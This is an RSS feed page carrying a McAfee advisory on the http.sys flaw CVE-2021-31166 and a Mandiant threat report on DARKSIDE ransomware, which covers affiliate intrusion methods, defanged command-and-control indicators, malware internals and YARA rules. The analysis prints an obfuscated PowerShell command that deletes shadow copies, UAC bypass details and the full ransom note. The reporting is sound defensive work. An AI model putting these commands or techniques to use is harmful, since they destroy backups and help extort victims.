RSS Security

❌ About FreshRSS
There are new articles available, click to refresh the page.
Before yesterdayResearch - Companies

Major HTTP Vulnerability in Windows Could Lead to Wormable Exploit

12 May 2021 at 15:48
AI Cyber Security

Today, Microsoft released a highly critical vulnerability (CVE-2021-31166) in its web server http.sys. This product is a Windows-only HTTP server which can be run standalone or in conjunction with IIS (Internet Information Services) and is used to broker internet traffic via HTTP network requests. The vulnerability is very similar to CVE-2015-1635, another Microsoft vulnerability in the HTTP network stack reported in 2015.

With a CVSS score of 9.8, the vulnerability announced has the potential to be both directly impactful and is also exceptionally simple to exploit, leading to a remote and unauthenticated denial-of-service (Blue Screen of Death) for affected products.

The issue is due to Windows improperly tracking pointers while processing objects in network packets containing HTTP requests. As HTTP.SYS is implemented as a kernel driver, exploitation of this bug will result in at least a Blue Screen of Death (BSoD), and in the worst-case scenario, remote code execution, which could be wormable. While this vulnerability is exceptional in terms of potential impact and ease of exploitation, it remains to be seen whether effective code execution will be achieved. Furthermore, this vulnerability only affects the latest versions of Windows 10 and Windows Server (2004 and 20H2), meaning that the exposure for internet-facing enterprise servers is fairly limited, as many of these systems run Long Term Servicing Channel (LTSC) versions, such as Windows Server 2016 and 2019, which are not susceptible to this flaw.

At the time of this writing, we are unaware of any “in-the-wild” exploitation for CVE-2021-31166 but will continue to monitor the threat landscape and provide relevant updates. We urge Windows users to apply the patch immediately wherever possible, giving special attention to externally facing devices that could be compromised from the internet. For those who are unable to apply Microsoft’s update, we are providing a “virtual patch” in the form of a network IPS signature that can be used to detect and prevent exploitation attempts for this vulnerability.

McAfee Network Security Platform (NSP) Protection
Sigset Version:
Attack ID: 0x4528f000
Attack Name: HTTP: Microsoft HTTP Protocol Stack Remote Code Execution Vulnerability (CVE-2021-31166)

McAfee Knowledge Base Article KB94510:



The post Major HTTP Vulnerability in Windows Could Lead to Wormable Exploit appeared first on McAfee Blogs.

Shining a Light on DARKSIDE Ransomware Operations

11 May 2021 at 21:30

Update (May 14): Mandiant has observed multiple actors cite a May 13 announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and CDN servers, and would be closing their service. Decrypters would also be provided for companies who have not paid, possibly to their affiliates to distribute. The post cited law enforcement pressure and pressure from the United States for this decision. We have not independently validated these claims and there is some speculation by other actors that this could be an exit scam.


Since initially surfacing in August 2020, the creators of DARKSIDE ransomware and their affiliates have launched a global crime spree affecting organizations in more than 15 countries and multiple industry verticals. Like many of their peers, these actors conduct multifaceted extortion where data is both exfiltrated and encrypted in place, allowing them to demand payment for unlocking and the non-release of stolen data to exert more pressure on victims.

The origins of these incidents are not monolithic. DARKSIDE ransomware operates as a ransomware-as-a-service (RaaS) wherein profit is shared between its owners and partners, or affiliates, who provide access to organizations and deploy the ransomware. Mandiant currently tracks multiple threat clusters that have deployed this ransomware, which is consistent with multiple affiliates using DARKSIDE. These clusters demonstrated varying levels of technical sophistication throughout intrusions. While the threat actors commonly relied on commercially available and legitimate tools to facilitate various stages of their operations, at least one of the threat clusters also employed a now patched zero-day vulnerability.

Reporting on DARKSIDE has been available in advance of this blog post to users of Mandiant Advantage Free, a no-cost version of our threat intelligence platform.


Mandiant has identified multiple DARKSIDE victims through our incident response engagements and from reports on the DARKSIDE blog. Most of the victim organizations were based in the United States and span across multiple sectors, including financial services, legal, manufacturing, professional services, retail, and technology. The number of publicly named victims on the DARKSIDE blog has increased overall since August 2020, with the exception of a significant dip in the number of victims named during January 2021 (Figure 1). It is plausible that the decline in January was due to threat actors using DARKSIDE taking a break during the holiday season. The overall growth in the number of victims demonstrates the increasing use of the DARKSIDE ransomware by multiple affiliates.

Figure 1: Known DARKSIDE victims (August 2020 to April 2021)

DARKSIDE Ransomware Service

Beginning in November 2020, the Russian-speaking actor "darksupp" advertised DARKSIDE RaaS on the Russian-language forums and In April 2021, darksupp posted an update for the "Darkside 2.0" RaaS that included several new features and a description of the types of partners and services they were currently seeking (Table 1). Affiliates retain a percentage of the ransom fee from each victim. Based on forum advertisements, the RaaS operators take 25% for ransom fees less than $500,000, but this decreases to 10 percent for ransom fees greater than $5 million.

In addition to providing builds of DARKSIDE ransomware, the operators of this service also maintain a blog accessible via TOR. The actors use this site to publicize victims in an attempt to pressure these organizations into paying for the non-release of stolen data. A recent update to their underground forum advertisement also indicates that actors may attempt to DDoS victim organizations. The actor darksupp has stated that affiliates are prohibited from targeting hospitals, schools, universities, non-profit organizations, and public sector entities. This may be an effort by the actor(s) to deter law enforcement action, since targeting of these sectors may invite additional scrutiny. Affiliates are also prohibited from targeting organizations in Commonwealth of Independent States (CIS) nations.

Advertisement Date/Version


Related Reporting

Nov. 10, 2020 (V1)


Ability to generate builds for both Windows and Linux environments from within the administration panel. 


Encrypts files using Salsa20 encryption along with an RSA-1024 public key

Access to an administrative panel via TOR that can be used by clients to manage Darkside builds, payments, blog posts, and communication with victims

The admin panel includes a Blog section that allows clients to publish victim information and announcements to the Darkside website for the purposes of shaming victims and coercing them to pay ransom demands

April 14, 2021 (V2.0)


Automated test decryption. The process from encryption to withdrawal of money is automated and no longer relies on support.


Available DDoS of targets (Layer 3, Layer 7)

Sought a partner to provide network accesses to them and a person or team with pentesting skills

Table 1: Notable features and updates listed on DARKSIDE advertisement thread (

DARKSIDE Affiliates

DARKSIDE RaaS affiliates are required to pass an interview after which they are provided access to an administration panel (Figure 2). Within this panel, affiliates can perform various actions such as creating a ransomware build, specifying content for the DARKSIDE blog, managing victims, and contacting support. Mandiant has identified at least five Russian-speaking actors who may currently, or have previously, been DARKSIDE affiliates. Relevant advertisements associated with a portion of these threat actors have been aimed at finding either initial access providers or actors capable of deploying ransomware on accesses already obtained. Some actors claiming to use DARKSIDE have also allegedly partnered with other RaaS affiliate programs, including BABUK and SODINOKIBI (aka REvil). For more information on these threat actors, please see Mandiant Advantage.

Figure 2: DARKSIDE affiliate panel

Attack Lifecycle

Mandiant currently tracks five clusters of threat activity that have involved the deployment of DARKSIDE. For more information on uncategorized threats, refer to our post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors." These clusters may represent different affiliates of the DARKSIDE RaaS platform. Throughout observed incidents, the threat actor commonly relied on various publicly available and legitimate tools that are commonly used to facilitate various stages of the attack lifecycle in post-exploitation ransomware attacks (Figure 3). Additional details on three of these UNC groups are included below.

Figure 3: TTPs seen throughout DARKSIDE ransomware engagements


UNC2628 has been active since at least February 2021. Their intrusions progress relatively quickly with the threat actor typically deploying ransomware in two to three days. We have some evidence that suggests UNC2628 has partnered with other RaaS including SODINOKIBI (REvil) and NETWALKER.

  • In multiple cases we have observed suspicious authentication attempts against corporate VPN infrastructure immediately prior to the start of interactive intrusion operations. The authentication patterns were consistent with a password spraying attack, though available forensic evidence was insufficient to definitively attribute this precursor activity to UNC2628.
  • In cases where evidence was available, the threat actor appeared to obtain initial access through corporate VPN infrastructure using legitimate credentials.
  • UNC2628 has interacted with victim environments using various legitimate accounts, but in multiple cases has also created and used a domain account with the username 'spservice'. Across all known intrusions, UNC2628 has made heavy use of the Cobalt Strike framework and BEACON payloads. BEACON command and control (C2) infrastructure attributed to this actor has included the following:
    • hxxps://104.193.252[.]197:443/
    • hxxps://162.244.81[.]253:443/
    • hxxps://185.180.197[.]86:443/
    • hxxps://athaliaoriginals[.]com/
    • hxxps://lagrom[.]com:443/font.html
    • hxxps://lagrom[.]com:443/night.html
    • hxxps://lagrom[.]com:443/online.html
    • hxxps://lagrom[.]com:443/send.html
    • hxxps://lagrom[.]com/find.html?key=id#-
  • In at least some cases there is evidence to suggest this actor has employed Mimikatz for credential theft and privilege escalation.
  • The threat actor appeared to have used built-in commands such as ‘net’ and ‘ping’ to perform basic reconnaissance of the internal network, though it is likely that additional reconnaissance was performed via BEACON and not represented in available log sources.
  • UNC2628 has moved laterally in environments almost exclusively via RDP using legitimate credentials and Cobalt Strike BEACON payloads. This threat cluster uses both HTTPS BEACON payloads and SMB BEACON, the latter almost exclusively using named pipes beginning with “\\.\pipe\UIA_PIPE_”
  • Intrusions attributed to this threat cluster have progressed swiftly from intrusion to data theft and ransomware deployment, and have thus not focused heavily on maintaining a persistent foothold in impacted environments.  Despite this, UNC2628 has maintained access via the collection of legitimate credentials, the creation of attacker-controlled domain accounts (spservice), and via the creation of Windows services intended to launch BEACON. Notably, UNC2628 has repeatedly loaded BEACON with a service named ‘CitrixInit’.
  • UNC2628 has also employed F-Secure Labs' Custom Command and Control (C3) framework, deploying relays configured to proxy C2 communications through the Slack API. Based on this actor's other TTPs they were likely using C3 to obfuscate Cobalt Strike BEACON traffic.
  • The threat actor has exfiltrated data over SFTP using Rclone to systems in cloud hosting environments. Rclone is a command line utility to manage files for cloud storage applications. Notably, the infrastructure used for data exfiltration has been reused across multiple intrusions. In one case, the data exfiltration occurred on the same day that the intrusion began.
  • UNC2628 deploys DARKSIDE ransomware encryptors using PsExec to a list of hosts contained in multiple text files.
  • The threat actor has used the following directories, placing copies of backdoors, ransomware binaries, copies of PsExec, and lists of victim hosts within them.
    • C:\run\
    • C:\home\
    • C:\tara\
    • C:\Users\[username]\Music\
    • C:\Users\Public


UNC2659 has been active since at least January 2021. We have observed the threat actor move through the whole attack lifecycle in under 10 days. UNC2659 is notable given their use of an exploit in the SonicWall SMA100 SSL VPN product, which has since been patched by SonicWall. The threat actor appeared to download several tools used for various phases of the attack lifecycle directly from those tools’ legitimate public websites.

  • The threat actor obtained initial access to their victim by exploiting CVE-2021-20016, an exploit in the SonicWall SMA100 SSL VPN product, which has been patched by SonicWall. There is some evidence to suggest the threat actor may have used the vulnerability to disable multi-factor authentication options on the SonicWall VPN, although this has not been confirmed.
  • The threat actor leveraged TeamViewer (TeamViewer_Setup.exe) to establish persistence within the victim environment. Available evidence suggests that the threat actor downloaded TeamViewer directly from the following URL and also browsed for locations from which they could download the AnyDesk utility.
    • hxxps://dl.teamviewer[.]com/download/version_15x/TeamViewer_Setup.exe
  • The threat actor appeared to download the file rclone.exe directly from rclone[.]org - hxxps://downloads.rclone[.]org/v1.54.0/ The threat actors were seen using rclone to exfiltrate hundreds of gigabytes of data over the SMB protocol to the pCloud cloud-based hosting and storage service.
  • The threat actor deployed the file power_encryptor.exe in a victim environment, encrypting files and creating ransom notes over the SMB protocol.
  • Mandiant observed the threat actor navigate to ESXi administration interfaces and disable snapshot features prior to the ransomware encryptor deployment, which affected several VM images.


UNC2465 activity dates back to at least April 2019 and is characterized by their use of similar TTPs to distribute the PowerShell-based .NET backdoor SMOKEDHAM in victim environments. In one case where DARKSIDE was deployed, there were months-long gaps, with only intermittent activity between the time of initial compromise to ransomware deployment. In some cases, this could indicate that initial access was provided by a separate actor.

  • UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader. More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system.  
  • UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments.
  • The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network.
  • UNC2465 also uses the publicly available NGROK utility to bypass firewalls and expose remote desktop service ports, like RDP and WinRM, to the open internet.
  • Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware.
  • UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note.


We believe that threat actors have become more proficient at conducting multifaceted extortion operations and that this success has directly contributed to the rapid increase in the number of high-impact ransomware incidents over the past few years. Ransomware operators have incorporated additional extortion tactics designed to increase the likelihood that victims will acquiesce to paying the ransom prices. As one example, in late April 2021, the DARKSIDE operators released a press release stating that they were targeting organizations listed on the NASDAQ and other stock markets. They indicated that they would be willing to give stock traders information about upcoming leaks in order to allow them potential profits due to stock price drops after an announced breach. In another notable example, an attacker was able to obtain the victim's cyber insurance policy and leveraged this information during the ransom negotiation process refusing to lower the ransom amount given their knowledge of the policy limits. This reinforces that during the post-exploitation phase of ransomware incidents, threat actors can engage in internal reconnaissance and obtain data to increase their negotiating power. We expect that the extortion tactics that threat actors use to pressure victims will continue to evolve throughout 2021.

Based on the evidence that DARKSIDE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat. For more comprehensive recommendations for addressing ransomware, please refer to our blog post: "Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment" and the linked white paper.


Beyond the comparatively small number of people who are listed as authors on this report are hundreds of consultants, analysts and reverse-engineers who tirelessly put in the work needed to respond to intrusions at breakneck pace and still maintain unbelievably high analytical standards. This larger group has set the foundation for all of our work, but a smaller group of people contributed more directly to producing this report and we would like to thank them by name. We would like to specifically thank Bryce Abdo and Matthew Dunwoody from our Advanced Practices team and Jay Smith from FLARE, all of whom provided analytical support and technical review. Notable support was also provided by Ioana Teaca, and Muhammadumer Khan.

Appendix A: DARKSIDE Ransomware Analysis

DARKSIDE is a ransomware written in C that may be configured to encrypt files on fixed and removable disks as well as network shares. DARKSIDE RaaS affiliates are given access to an administration panel on which they create builds for specific victims. The panel allows some degree of customization for each ransomware build such as choosing the encryption mode and whether local disks and network shares should be encrypted (Figures 4). The following malware analysis is based on the file MD5: 1a700f845849e573ab3148daef1a3b0b. A more recently analyzed DARKSIDE sample had the following notable differences:

  • The option for beaconing to a C2 server was disabled and the configuration entry that would have contained a C2 server was removed.
  • Included a persistence mechanism in which the malware creates and launches itself as a service.
  • Contained a set of hard-coded victim credentials that were used to attempt to logon as a local user. If the user token retrieved based on the stolen credentials is an admin token and is part of the domain administrators' group, it is used for network enumeration and file permission access.

Figure 4: DARKSIDE build configuration options appearing in the administration panel

Host-Based Indicators

Persistence Mechanism

Early versions of the malware did not contain a persistence mechanism. An external tool or installer was required if the attacker desired persistence. A DARKSIDE version observed in May 2021 implement a persistence mechanism through which the malware creates and launches itself as a service with a service name and description named using eight pseudo-randomly defined lowercase hexadecimal characters (e.g., ".e98fc8f7") that are also appended by the malware to various other artifacts it created.  This string of characters is referenced as <ransom_ext>. :

Service Name: <ransom_ext>
Description: <ransom_ext>

Filesystem Artifacts

Created Files

May version: %PROGRAMDATA%\<ransom_ext>.ico

Registry Artifacts

The DARKSIDE version observed in May sets the following registry key:




The malware initializes a 0x100-byte keystream used to decrypt strings and configuration data. Strings are decrypted as needed and overwritten with NULL bytes after use. The malware's configuration size is 0xBE9 bytes. A portion of the decrypted configuration is shown in Figure 5.

00000000  01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000080  95 AA A8 7C 2B 6A D5 12 0E 73 B3 7D BD 16 25 62  •ª¨|+jÕ..s³}½.%b
00000090  A4 A8 BF 19 73 F7 E0 BC DF 02 A8 94 32 CF 0C C0  ¤¨¿.s÷à¼ß.¨"2Ï.À
000000A0  C5 83 0F 14 66 02 87 EE FD 29 96 DF 02 05 C1 12  Ń..f.‡îý)–ß..Á.
000000B0  3E 43 A7 59 E1 F0 C4 5D AE E1 20 2E 77 D9 CA 3C  >C§YáðÄ]®á .wÙÊ<
000000C0  AD C6 BC 84 75 1C E7 0B F0 30 2A 51 13 7A B2 66  .Ƽ„u.ç.ð0*Q.z²f
000000D0  44 73 79 E1 E4 69 C3 CA 1B C1 76 63 65 95 EA CA  DsyáäiÃÊ.Ávce•êÊ
000000E0  F6 10 68 0D CE 36 61 F9 57 B9 19 50 31 D4 E1 70  ö.h.Î6aùW¹.P1Ôáp
000000F0  EC 7B 33 1E 4F 17 E1 80 1D BC CF 8C D8 C5 66 41  ì{3.O.á€.¼ÏŒØÅfA
00000100  E5 0A 00 00 02 6E 01 02 15 03 43 01 8E 24 0E 72  å....n....C.Ž$.r

Figure 5: Partial decrypted configuration

The sample's 0x80-byte RSA public key blob begins at offset 0x80. The DWORD value at offset 0x100 is multiplied by 64 and an amount of memory equivalent to the result is allocated. The remaining bytes, which start at offset 0x104, are aPLib-decompressed into the allocated buffer. The decompressed bytes include the ransom note and other elements of the malware's configuration described as follows (e.g., processes to terminate, files to ignore). The first 0x60 bytes of the decompressed configuration are shown in Figure 6.

00000000  02 01 01 01 00 01 01 00 01 01 01 01 01 01 01 01  ................
00000010  01 01 01 01 01 01 24 00 72 00 65 00 63 00 79 00  ......$.r.e.c.y.
00000020  63 00 6C 00 65 00 2E 00 62 00 69 00 6E 00 00 00  c.l.e...b.i.n...
00000030  63 00 6F 00 6E 00 66 00 69 00 67 00 2E 00 6D 00  c.o.n.f.i.g...m.
00000040  73 00 69 00 00 00 24 00 77 00 69 00 6E 00 64 00  s.i...$.w.i.n.d.
00000050  6F 00 77 00 73 00 2E 00 7E 00 62 00 74 00 00 00  o.w.s...~.b.t...

Figure 6: Partial decompressed configuration

The first byte from Figure 6 indicates the encryption mode. This sample is configured to encrypt using FAST mode. Supported values are as follows:

  • 1: FULL
  • 2: FAST
  • Other values: AUTO

The individual bytes from offset 0x02 to offset 0x15 in Figure 6 are Boolean values that dictate the malware's behavior. The malware takes the actions listed in Table 2 based on these values. Table 2 also identifies features that are enabled or disabled for the current sample.









Encrypt local disks



Encrypt network shares



Perform language check



Delete volume shadow copies



Empty Recycle Bins






Perform UAC bypass if necessary



Adjust token privileges






Feature not used but results in the following strings being decrypted:




Ignore specific folders



Ignore specific files



Ignore specific file extensions



Feature not used; related to these strings: "backup" and "here_backups"



Feature not used: related to these strings: "sql" and "sqlite"



Terminate processes



Stop services



Feature not used; related to a buffer that contains the repeated string "blah"



Drop ransom note



Create a mutex

Table 2: Configuration bits

UAC Bypass

If the malware does not have elevated privileges, it attempts to perform one of two User Account Control (UAC) bypasses based on the operating system (OS) version. If the OS is older than Windows 10, the malware uses a documented slui.exe file handler hijack technique. This involves setting the registry value HKCU\Software\Classes\exefile\shell\open\command\Default to the malware path and executing slui.exe using the verb "runas."

If the OS version is Windows 10 or newer, the malware attempts a UAC bypass that uses the CMSTPLUA COM interface. The decrypted strings listed in Figure 7 are used to perform this technique.


Figure 7: Decrypted UAC bypass strings

Encryption Setup

The malware generates a pseudo-random file extension based on a MAC address on the system. In a DARKSIDE version observed in May 2021, the file extension is generated using a MachineGuid registry value as a seed rather than the MAC address. The file extension consists of eight lowercase hexadecimal characters (e.g., ".e98fc8f7") and is referred to as <ransom_ext>. The file extension generation algorithm has been recreated in Python. If logging is enabled, the malware creates the log file LOG<ransom_ext>.TXT in its current directory.

The malware supports the command line argument "-path," which allows an attacker to specify a directory to target for encryption.

The sample analyzed for this report is not configured to perform a system language check. If this functionality were enabled and the check succeeded, the string "This is a Russian-Speaking System, Exit" would be written to the log file and the malware would exit.

Anti-Recovery Techniques

The malware locates and empties Recycle Bins on the system. If the process is running under WOW64, it executes the PowerShell command in Figure 8 using CreateProcess to delete volume shadow copies.

powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763
6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"

Figure 8: Encoded PowerShell command

The decoded command from Figure 4 is "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}." If the malware is not running under WOW64, it uses COM objects and WMI commands to delete volume shadow copies. The decrypted strings in Figure 9 are used to facilitate this process.

SELECT * FROM Win32_ShadowCopy

Figure 9: Decrypted strings related to shadow copy deletion

System Manipulation

Any service the name of which contains one of the strings listed in Figure 10 is stopped and deleted.


Figure 10: Service-related strings

The version observed in May 2021 is additionally configured to stop and delete services containing the strings listed in Figure 11.


Figure 11: Additional service-related strings in May version

Any process name containing one of the strings listed in Figure 12 is terminated.


Figure 12: Process-related strings

File Encryption

Based on its configuration, the malware targets fixed and removable disks as well as network shares. Some processes may be terminated so associated files can be successfully encrypted. However, the malware does not terminate processes listed in Figure 13.


Figure 13: Processes not targeted for termination

The malware uses the strings listed in Figure 14 to ignore certain directories during the encryption process.

application data
program files
program files (x86)
system volume information
tor browser
all users

Figure 14: Strings used to ignore directories

The files listed in Figure 15 are ignored.


Figure 15: Ignored files

The version observed in May 2021 is additionally configured to ignore the files listed in Figure 16.


Figure 16: Additional ignored files in May version

Additional files are ignored based on the extensions listed in Figure 17.

.386, .adv, .ani, .bat, .bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepack, .diagcab, .diagcfg, .diagpkg, .dll, .drv, .exe, .hlp, .icl, .icns, .ico, .ics, .idx, .ldf, .lnk, .mod, .mpa, .msc, .msp, .msstyles, .msu, .nls, .nomedia, .ocx, .prf, .ps1, .rom, .rtp, .scr, .shs, .spl, .sys, .theme, .themepack, .wpx, .lock, .key, .hta, .msi, .pdb

Figure 17: Ignored file extensions

Files are encrypted using Salsa20 and a key randomly generated using RtlRandomEx. Each key is encrypted using the embedded RSA-1024 public key.

Ransom Note

The malware writes the ransom note shown in Figure 18 to README<ransom_ext>.TXT files written to directories it traverses.

----------- [ Welcome to Dark ] ------------->

What happend?
Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.
But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.
Follow our instructions below and you will recover all your data.

Data leak
First of all we have uploaded more then 100 GB data.

Example of data:
 - Accounting data
 - Executive data
 - Sales data
 - Customer Support data
 - Marketing data
 - Quality data
 - And more other...

Your personal leak page: http://darksidedxcftmqa[.]onion/blog/article/id/6/<REDACTED>
The data is preloaded and will be automatically published if you do not pay.
After publication, your data will be available for at least 6 months on our tor cdn servers.

We are ready:
- To provide you the evidence of stolen data
- To give you universal decrypting tool for all encrypted files.
- To delete all the stolen data.

What guarantees?
We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.
We guarantee to decrypt one file for free. Go to the site and contact us.

How to get access on website?
Using a TOR browser:
1) Download and install TOR browser from this site:
2) Open our website: http://darksidfqzcuhtk2[.]onion/<REDACTED>

When you open our website, put the following data in the input form:

!!! DANGER !!!
DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them.
!!! DANGER !!!

Figure 18: Ransom note

Decrypted Strings

application data
program files
program files (x86)
system volume information
tor browser
all users
\r\n----------- [ Welcome to Dark ] ------------->\r\n\r\nWhat happend?\r\n----------------------------------------------\r\nYour computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.\r\nBut you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.\r\nFollow our instructions below and you will recover all your data.\r\n\r\nData leak\r\n----------------------------------------------\r\nFirst of all we have uploaded more then 100 GB data.\r\n\r\nExample of data:\r\n - Accounting data\r\n - Executive data\r\n - Sales data\r\n - Customer Support data\r\n - Marketing data\r\n - Quality data\r\n - And more other...\r\n\r\nYour personal leak page: http://darksidedxcftmqa[.]onion/blog/article/id/6/<REDACTED>The data is preloaded and will be automatically published if you do not pay.\r\nAfter publication, your data will be available for at least 6 months on our tor cdn servers.\r\n\r\nWe are ready:\r\n- To provide you the evidence of stolen data\r\n- To give you universal decrypting tool for all encrypted files.\r\n- To delete all the stolen data.\r\n\r\nWhat guarantees?\r\n----------------------------------------------\r\nWe value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.\r\nAll our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.\r\nWe guarantee to decrypt one file for free. Go to the site and contact us.\r\n\r\nHow to get access on website? \r\n----------------------------------------------\r\nUsing a TOR browser:\r\n1) Download and install TOR browser from this site:\r\n2) Open our website: http://darksidfqzcuhtk2[.]onion/<REDACTED>\r\n\r\nWhen you open our website, put the following data in the input form:\r\nKey:\r\<REDACTED>\r\n\r\n!!! DANGER !!!\r\nDO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. \r\n!!! DANGER !!!\r\n
/C DEL /F /Q
 >> NUL
Start Encrypting Target Folder
Encrypt Mode - AUTO
Started %u I/O Workers
Encrypted %u file(s)
Start Encrypt
[Handle %u]
File Encrypted Successful
Encrypt Mode - FAST
Encrypt Mode - FULL
This is a Russian-Speaking System, Exit
System Language Check
Encrypting Network Shares
Encrypting Local Disks
Encrypt Mode - AUTO
Started %u I/O Workers
Encrypted %u file(s)
Start Encrypt
[Handle %u]
File Encrypted Successful
Encrypt Mode - FAST
Encrypt Mode - FULL
Terminating Processes
Deleting Shadow Copies
Uninstalling Services
Emptying Recycle Bin
This is a Russian-Speaking System, Exit
System Language Check
Start Encrypting All Files
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763
*$_,2))};iex $s"
SELECT * FROM Win32_ShadowCopy

Figure 19: Decrypted strings

Appendix B: Indicators for Detection and Hunting

Yara Detections

The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are intended to serve as a starting point for hunting efforts to identify related activity; however, they may need adjustment over time if the malware family changes.

rule Ransomware_Win_DARKSIDE_v1__1
        author = “FireEye”
        date_created = “2021-03-22”
        description = “Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values.”
        md5 = “1a700f845849e573ab3148daef1a3b0b”   
        $consts = { 80 3D [4] 01 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] 00 00 04 00 [1-10] 00 00 00 00 [1-30] 80 3D [4] 02 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00 [1-10] 03 00 00 00 }
        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $consts

Figure 20: DARKSIDE YARA rule

rule Dropper_Win_Darkside_1
        author = "FireEye"
        date_created = "2021-05-11"
        description = "Detection for on the binary that was used as the dropper leading to DARKSIDE."
        $CommonDLLs1 = "KERNEL32.dll" fullword
        $CommonDLLs2 = "USER32.dll" fullword
        $CommonDLLs3 = "ADVAPI32.dll" fullword
        $CommonDLLs4 = "ole32.dll" fullword
        $KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 }
        $KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 }
        $Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C }
        filesize < 2MB and filesize > 500KB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (all of ($CommonDLLs*)) and (all of ($KeyString*)) and $Slashes

Figure 21: DARKSIDE Dropper YARA rule

rule Backdoor_Win_C3_1
        author = “FireEye”
        date_created = "2021-05-11"
        description = "Detection to identify the Custom Command and Control (C3) binaries."
        md5 = "7cdac4b82a7573ae825e5edb48f80be5"
        $dropboxAPI = "Dropbox-API-Arg"
        $knownDLLs1 = "WINHTTP.dll" fullword
        $knownDLLs2 = "SHLWAPI.dll" fullword
        $knownDLLs3 = "NETAPI32.dll" fullword
        $knownDLLs4 = "ODBC32.dll" fullword
        $tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E }
        $tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E }
        $tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E }
        filesize < 5MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (((all of ($knownDLLs*)) and ($dropboxAPI or (1 of ($tokenString*)))) or (all of ($tokenString*)))

Figure 22: Custom Command and Control (C3) YARA rule

Detecting DARKSIDE

FireEye products detect this activity at multiple stages of the attack lifecycle. The following table contains specific detections intended to identify and prevent malware and methods seen at these intrusions. For brevity, this list does not include FireEye’s existing detections for BEACON, BloodHound/SharpHound, and other common tools and malware that FireEye has observed both in this campaign and across a broad range of intrusion operations


Detection Name

Network Security
Email Security
Detection On Demand
Malware Analysis
File Protect

